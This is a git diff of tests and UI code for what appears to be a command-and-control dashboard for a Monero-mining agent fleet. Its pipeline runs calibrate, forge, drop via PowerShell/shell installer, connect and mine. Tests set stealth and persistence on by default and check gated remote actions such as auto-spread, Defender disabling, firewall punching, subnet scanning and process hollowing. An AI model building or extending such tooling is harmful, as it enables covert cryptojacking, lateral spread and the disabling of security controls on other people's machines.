expect(req.ai_model).toBe('llama3.2');
|
||||
});
|
||||
});
|
||||
200
server/web/src/help/cheatSheetContent.test.ts
Normal file
200
server/web/src/help/cheatSheetContent.test.ts
Normal file
@@ -0,0 +1,200 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
AI_GUIDE,
|
||||
CHEAT_SECTIONS,
|
||||
FORGE_VS_CALIBRATE,
|
||||
FUSION_GUIDE,
|
||||
NETWORK_GUIDE,
|
||||
PIPELINE_STEPS,
|
||||
ROADMAP_FEATURES,
|
||||
TROUBLESHOOTING,
|
||||
} from './cheatSheetContent';
|
||||
|
||||
function assertSteps(steps: { id: string; title: string; subtitle: string; icon: string; body: string }[]) {
|
||||
const ids = steps.map((s) => s.id);
|
||||
expect(new Set(ids).size).toBe(ids.length);
|
||||
for (const step of steps) {
|
||||
expect(step.title.trim().length).toBeGreaterThan(0);
|
||||
expect(step.subtitle.trim().length).toBeGreaterThan(0);
|
||||
expect(step.icon.trim().length).toBeGreaterThan(0);
|
||||
expect(step.body.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
}
|
||||
|
||||
describe('PIPELINE_STEPS', () => {
|
||||
it('defines six pipeline stages in workflow order', () => {
|
||||
expect(PIPELINE_STEPS).toHaveLength(6);
|
||||
expect(PIPELINE_STEPS.map((s) => s.id)).toEqual([
|
||||
'calibrate',
|
||||
'forge',
|
||||
'buildmgr',
|
||||
'drop',
|
||||
'connect',
|
||||
'mine',
|
||||
]);
|
||||
expect(PIPELINE_STEPS.map((s) => s.title)).toEqual([
|
||||
'Calibrate',
|
||||
'Forge',
|
||||
'Build Manager',
|
||||
'Drop',
|
||||
'Connect',
|
||||
'Mine',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each step has required content fields', () => {
|
||||
assertSteps(PIPELINE_STEPS);
|
||||
});
|
||||
|
||||
it('routed steps link to primary app pages', () => {
|
||||
const routed = PIPELINE_STEPS.filter((s) => s.route);
|
||||
expect(routed.map((s) => s.route)).toEqual([
|
||||
'/settings',
|
||||
'/forge',
|
||||
'/builds',
|
||||
'/agents',
|
||||
'/dashboard',
|
||||
]);
|
||||
for (const step of routed) {
|
||||
expect(step.routeLabel?.trim().length).toBeGreaterThan(0);
|
||||
}
|
||||
});
|
||||
|
||||
it('drop step includes install one-liner example', () => {
|
||||
const drop = PIPELINE_STEPS.find((s) => s.id === 'drop')!;
|
||||
expect(drop.code).toContain('install.ps1');
|
||||
expect(drop.tips?.some((t) => t.includes('install.sh'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('FORGE_VS_CALIBRATE', () => {
|
||||
it('has forge and calibrate sections with titles and item lists', () => {
|
||||
expect(FORGE_VS_CALIBRATE.forge.title).toMatch(/Forge/i);
|
||||
expect(FORGE_VS_CALIBRATE.calibrate.title).toMatch(/Calibrate/i);
|
||||
expect(FORGE_VS_CALIBRATE.forge.items.length).toBeGreaterThan(10);
|
||||
expect(FORGE_VS_CALIBRATE.calibrate.items.length).toBeGreaterThan(5);
|
||||
});
|
||||
|
||||
it('forge items cover baked-in agent settings', () => {
|
||||
const joined = FORGE_VS_CALIBRATE.forge.items.join(' ');
|
||||
expect(joined).toMatch(/C2|server URL/i);
|
||||
expect(joined).toMatch(/wallet/i);
|
||||
expect(joined).toMatch(/Fusion/i);
|
||||
});
|
||||
|
||||
it('calibrate items cover server-only settings', () => {
|
||||
const joined = FORGE_VS_CALIBRATE.calibrate.items.join(' ');
|
||||
expect(joined).toMatch(/Listen port/i);
|
||||
expect(joined).toMatch(/retention/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe('NETWORK_GUIDE', () => {
|
||||
it('has five network topology steps with unique ids', () => {
|
||||
expect(NETWORK_GUIDE).toHaveLength(5);
|
||||
expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4', 'n5']);
|
||||
assertSteps(NETWORK_GUIDE);
|
||||
});
|
||||
});
|
||||
|
||||
describe('FUSION_GUIDE', () => {
|
||||
it('has four fusion workflow steps', () => {
|
||||
expect(FUSION_GUIDE).toHaveLength(4);
|
||||
expect(FUSION_GUIDE.map((s) => s.id)).toEqual(['f1', 'f2', 'f3', 'f4']);
|
||||
assertSteps(FUSION_GUIDE);
|
||||
});
|
||||
});
|
||||
|
||||
describe('AI_GUIDE', () => {
|
||||
it('has three AI autonomy steps', () => {
|
||||
expect(AI_GUIDE).toHaveLength(3);
|
||||
expect(AI_GUIDE.map((s) => s.id)).toEqual(['a1', 'a2', 'a3']);
|
||||
assertSteps(AI_GUIDE);
|
||||
});
|
||||
|
||||
it('mentions Ollama and decide loop', () => {
|
||||
const bodies = AI_GUIDE.map((s) => s.body).join(' ');
|
||||
expect(bodies).toMatch(/Ollama/i);
|
||||
expect(bodies).toMatch(/decide/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe('TROUBLESHOOTING', () => {
|
||||
it('lists common problems with non-empty fixes', () => {
|
||||
expect(TROUBLESHOOTING.length).toBeGreaterThanOrEqual(10);
|
||||
for (const entry of TROUBLESHOOTING) {
|
||||
expect(entry.problem.trim().length).toBeGreaterThan(10);
|
||||
expect(entry.fix.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
});
|
||||
|
||||
it('covers forge, pool, and dropper failure modes', () => {
|
||||
const problems = TROUBLESHOOTING.map((t) => t.problem).join(' ');
|
||||
expect(problems).toMatch(/Forge/i);
|
||||
expect(problems).toMatch(/hashrate|shares/i);
|
||||
expect(problems).toMatch(/dropper|PS1/i);
|
||||
});
|
||||
|
||||
it('shares-rejected fix matches wallet validator range', () => {
|
||||
const entry = TROUBLESHOOTING.find((t) => t.problem.includes('Shares all rejected'))!;
|
||||
expect(entry.fix).toMatch(/90.*106/);
|
||||
expect(entry.fix).toMatch(/4 or 8/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ROADMAP_FEATURES', () => {
|
||||
it('entries have priority, title, and description', () => {
|
||||
expect(ROADMAP_FEATURES.length).toBeGreaterThan(10);
|
||||
for (const feat of ROADMAP_FEATURES) {
|
||||
expect(['high', 'medium', 'low']).toContain(feat.priority);
|
||||
expect(feat.title.trim().length).toBeGreaterThan(3);
|
||||
expect(feat.desc.trim().length).toBeGreaterThan(10);
|
||||
}
|
||||
});
|
||||
|
||||
it('includes shipped core features', () => {
|
||||
const titles = ROADMAP_FEATURES.map((f) => f.title);
|
||||
expect(titles).toContain('Build Manager full page');
|
||||
expect(titles).toContain('AI Autonomy (Ollama)');
|
||||
expect(titles).toContain('Dropper endpoints');
|
||||
});
|
||||
});
|
||||
|
||||
describe('CHEAT_SECTIONS', () => {
|
||||
const expectedSections = [
|
||||
{ id: 'pipeline', title: 'End-to-end pipeline' },
|
||||
{ id: 'network', title: 'Network topology — Cloudflare tunnel setup' },
|
||||
{ id: 'fusion', title: 'Fusion workflow' },
|
||||
{ id: 'ai', title: 'AI Autonomy workflow' },
|
||||
{ id: 'troubleshoot', title: 'Troubleshooting' },
|
||||
];
|
||||
|
||||
it('registers five guide sections with stable ids and titles', () => {
|
||||
expect(CHEAT_SECTIONS).toHaveLength(5);
|
||||
expect(CHEAT_SECTIONS.map((s) => ({ id: s.id, title: s.title }))).toEqual(expectedSections);
|
||||
});
|
||||
|
||||
it('each section has a non-empty description', () => {
|
||||
for (const section of CHEAT_SECTIONS) {
|
||||
expect(section.description.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
});
|
||||
|
||||
it('step sections reference the exported step arrays', () => {
|
||||
const byId = Object.fromEntries(CHEAT_SECTIONS.map((s) => [s.id, s]));
|
||||
expect(byId.pipeline.steps).toBe(PIPELINE_STEPS);
|
||||
expect(byId.network.steps).toBe(NETWORK_GUIDE);
|
||||
expect(byId.fusion.steps).toBe(FUSION_GUIDE);
|
||||
expect(byId.ai.steps).toBe(AI_GUIDE);
|
||||
});
|
||||
|
||||
it('troubleshoot section maps cards from TROUBLESHOOTING', () => {
|
||||
const troubleshoot = CHEAT_SECTIONS.find((s) => s.id === 'troubleshoot')!;
|
||||
expect(troubleshoot.cards).toHaveLength(TROUBLESHOOTING.length);
|
||||
expect(troubleshoot.cards![0]).toEqual({
|
||||
title: TROUBLESHOOTING[0].problem,
|
||||
body: TROUBLESHOOTING[0].fix,
|
||||
accent: 'amber',
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -361,7 +361,7 @@ export const TROUBLESHOOTING = [
|
||||
},
|
||||
{
|
||||
problem: 'Shares all rejected',
|
||||
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 95 chars starting with 4. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
|
||||
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 90–106 chars starting with 4 or 8. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
|
||||
},
|
||||
{
|
||||
problem: 'Preflight ✕ blocking forge',
|
||||
|
||||
74
server/web/src/help/forgeDefaults.test.ts
Normal file
74
server/web/src/help/forgeDefaults.test.ts
Normal file
@@ -0,0 +1,74 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
it('sets safe production defaults for a new forge form', () => {
|
||||
expect(FORGE_BUILD_DEFAULTS.threads).toBe(4);
|
||||
expect(FORGE_BUILD_DEFAULTS.thread_mode).toBe('percent');
|
||||
expect(FORGE_BUILD_DEFAULTS.stealth_mode).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.persistence).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.fusion_enabled).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
|
||||
});
|
||||
|
||||
it('omits per-build identity fields (filled by server merge)', () => {
|
||||
const keys = Object.keys(FORGE_BUILD_DEFAULTS);
|
||||
expect(keys).not.toContain('worker_name');
|
||||
expect(keys).not.toContain('server_url');
|
||||
expect(keys).not.toContain('wallet');
|
||||
expect(keys).not.toContain('pool_host');
|
||||
expect(keys).not.toContain('pool_port');
|
||||
expect(keys).not.toContain('pool_tls');
|
||||
expect(keys).not.toContain('pool_pass');
|
||||
});
|
||||
});
|
||||
|
||||
describe('forgeDefaultsFromServer', () => {
|
||||
it('merges server config pool/wallet with build defaults', () => {
|
||||
const config = mockServerConfig();
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.wallet).toBe(config.wallet.address);
|
||||
expect(result.pool_host).toBe(config.pool.host);
|
||||
expect(result.pool_port).toBe(config.pool.port);
|
||||
expect(result.pool_tls).toBe(config.pool.use_tls);
|
||||
expect(result.pool_pass).toBe('x');
|
||||
expect(result.worker_name).toBe('');
|
||||
expect(result.stealth_mode).toBe(FORGE_BUILD_DEFAULTS.stealth_mode);
|
||||
});
|
||||
|
||||
it('prefers trimmed public_url over suggested_url', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { public_url: ' https://tunnel.example.com ' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.server_url).toBe('https://tunnel.example.com');
|
||||
});
|
||||
|
||||
it('falls back to suggested_url when public_url is blank', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { public_url: ' ' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.server_url).toBe(mockServerInfo.suggested_url);
|
||||
});
|
||||
|
||||
it('reflects obfuscate and sign defaults from server config', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { obfuscate_default: true, sign_enabled: true },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.obfuscate).toBe(true);
|
||||
expect(result.sign_build).toBe(true);
|
||||
});
|
||||
|
||||
it('uses custom pool password when configured', () => {
|
||||
const config = mockServerConfig({
|
||||
pool: { password: 'worker-pass' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.pool_pass).toBe('worker-pass');
|
||||
});
|
||||
});
|
||||
@@ -1,5 +1,9 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
|
||||
import {
|
||||
AGGRESSIVE_REMOTE_ACTIONS,
|
||||
aggressiveActionHint,
|
||||
canRunAggressiveAction,
|
||||
} from './aggressiveActions';
|
||||
|
||||
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
||||
const UI_REMOTE_ACTIONS = [
|
||||
@@ -71,3 +75,69 @@ describe('remote action wiring', () => {
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
||||
it('lists every wired aggressive command once', () => {
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
|
||||
});
|
||||
});
|
||||
|
||||
const fullCaps = {
|
||||
hole_punch: true,
|
||||
remote_aggressive: true,
|
||||
mesh_p2p: true,
|
||||
auto_spread: true,
|
||||
process_hollowing: false,
|
||||
ai_enabled: false,
|
||||
};
|
||||
|
||||
describe('canRunAggressiveAction edge cases', () => {
|
||||
it('allows all actions when caps are undefined (legacy agents)', () => {
|
||||
for (const action of AGGRESSIVE_REMOTE_ACTIONS) {
|
||||
if (action === 'defender_off') continue;
|
||||
expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('spread_now requires auto_spread or remote_aggressive', () => {
|
||||
const base = { ...fullCaps, auto_spread: false, remote_aggressive: false };
|
||||
expect(canRunAggressiveAction('spread_now', base)).toBe(false);
|
||||
expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true);
|
||||
expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true);
|
||||
});
|
||||
|
||||
it('mesh_status requires mesh_p2p capability', () => {
|
||||
expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false);
|
||||
expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true);
|
||||
});
|
||||
|
||||
it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
|
||||
const noAgg = { ...fullCaps, remote_aggressive: false };
|
||||
for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
|
||||
expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
|
||||
expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('aggressiveActionHint', () => {
|
||||
it('returns undefined when action is allowed', () => {
|
||||
expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined();
|
||||
expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('returns macOS-specific hint for defender_off', () => {
|
||||
expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe(
|
||||
'Defender disable not supported on macOS'
|
||||
);
|
||||
});
|
||||
|
||||
it('suggests re-forge hints when capability missing', () => {
|
||||
const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false };
|
||||
expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch');
|
||||
expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread');
|
||||
expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P');
|
||||
expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -13,6 +13,10 @@ vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('../components/Fleet/AgentRemoteActions', () => ({
|
||||
default: () => <div data-testid="agent-remote-actions-mock" />,
|
||||
}));
|
||||
|
||||
const useWebSocketMock = vi.mocked(useWebSocket);
|
||||
|
||||
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
|
||||
@@ -226,6 +226,38 @@
|
||||
50% { opacity: 0.45; }
|
||||
}
|
||||
|
||||
/* ── DNS row (T1016) ──────────────────────────────────────────────────────── */
|
||||
.cn-dns-row {
|
||||
font-size: 0.6rem;
|
||||
font-family: var(--font-tech);
|
||||
color: #666;
|
||||
margin-top: 4px;
|
||||
padding: 2px 0;
|
||||
letter-spacing: 0.04em;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
}
|
||||
.cn-dns-row.dns-drifted { color: var(--neon-amber); }
|
||||
.cn-dns-icon { opacity: 0.4; font-size: 0.55rem; }
|
||||
.dns-drift-flag { color: var(--neon-amber); font-weight: 700; margin-left: 4px; }
|
||||
|
||||
/* ── DNS DRIFT badge ──────────────────────────────────────────────────────── */
|
||||
.cn-dns {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
cursor: default;
|
||||
}
|
||||
.cn-dns.dns-drift {
|
||||
color: var(--neon-amber);
|
||||
background: rgba(255,176,32,0.14);
|
||||
font-weight: 700;
|
||||
animation: rb-blink 1.2s step-end infinite;
|
||||
}
|
||||
|
||||
/* ── Resource pressure badges ─────────────────────────────────────────────── */
|
||||
.cn-thermal, .cn-disk, .cn-throttle {
|
||||
font-size: 0.62rem;
|
||||
|
||||
@@ -78,6 +78,14 @@ function postureTooltip(agent: Agent): string {
|
||||
if (agent.reboot_pending !== undefined) {
|
||||
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
|
||||
}
|
||||
// DNS config
|
||||
if (agent.dns_servers?.length) {
|
||||
lines.push('──────────────────────');
|
||||
lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`);
|
||||
if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`);
|
||||
if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!');
|
||||
}
|
||||
|
||||
// Resource pressure
|
||||
const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null;
|
||||
if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) {
|
||||
@@ -146,6 +154,13 @@ function throttleBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
return { label, cls: 'therm-warm' };
|
||||
}
|
||||
|
||||
// ── DNS helpers (T1016) ────────────────────────────────────────────────────
|
||||
|
||||
function dnsBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' };
|
||||
return null;
|
||||
}
|
||||
|
||||
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
||||
|
||||
// Human-readable label for well-known service names
|
||||
@@ -575,7 +590,21 @@ export default function CruciblePage() {
|
||||
title={`CPU running at ${a.cpu_freq_mhz ?? '?'} MHz (max ${a.cpu_max_mhz ?? '?'} MHz)`}
|
||||
>{trb.label}</div>
|
||||
); })()}
|
||||
{(() => { const db2 = dnsBadge(a); return db2 && (
|
||||
<div
|
||||
className={`cn-dns ${db2.cls}`}
|
||||
title={`DNS changed since last heartbeat!\nCurrent: ${a.dns_servers?.join(', ') ?? '?'}`}
|
||||
>{db2.label}</div>
|
||||
); })()}
|
||||
</div>
|
||||
{a.dns_servers && a.dns_servers.length > 0 && (
|
||||
<div className={`cn-dns-row${a.dns_drifted ? ' dns-drifted' : ''}`}
|
||||
title={`DNS: ${a.dns_servers.join(', ')}${a.dns_search_domains?.length ? ' Search: ' + a.dns_search_domains.join(', ') : ''}`}>
|
||||
<span className="cn-dns-icon">⬡</span>
|
||||
{a.dns_servers.slice(0, 2).join(' · ')}
|
||||
{a.dns_drifted && <span className="dns-drift-flag"> ⚠ DRIFT</span>}
|
||||
</div>
|
||||
)}
|
||||
{a.services && a.services.length > 0 && (
|
||||
<div className="cn-services">
|
||||
{importantServices(a.services).map(svc => (
|
||||
|
||||
@@ -24,6 +24,11 @@ export interface Agent {
|
||||
arch?: string;
|
||||
os_version?: string;
|
||||
capabilities?: AgentCapabilities;
|
||||
// DNS config — T1016
|
||||
dns_servers?: string[];
|
||||
dns_search_domains?: string[];
|
||||
dns_drifted?: boolean;
|
||||
|
||||
// Resource pressure
|
||||
cpu_freq_mhz?: number;
|
||||
cpu_max_mhz?: number;
|
||||
|
||||
@@ -19,6 +19,11 @@ export interface WSStatsUpdate {
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
// DNS config — T1016
|
||||
dns_servers?: string[];
|
||||
dns_search_domains?: string[];
|
||||
dns_drifted?: boolean;
|
||||
|
||||
// Resource pressure
|
||||
cpu_freq_mhz?: number;
|
||||
cpu_max_mhz?: number;
|
||||
|
||||
@@ -7,7 +7,10 @@ export default defineConfig({
|
||||
setupFiles: ['src/test/setup.ts'],
|
||||
environmentMatchGlobs: [
|
||||
['src/api/**', 'happy-dom'],
|
||||
['src/context/**', 'happy-dom'],
|
||||
['src/hooks/**', 'happy-dom'],
|
||||
['src/pages/**', 'happy-dom'],
|
||||
['src/components/**', 'happy-dom'],
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user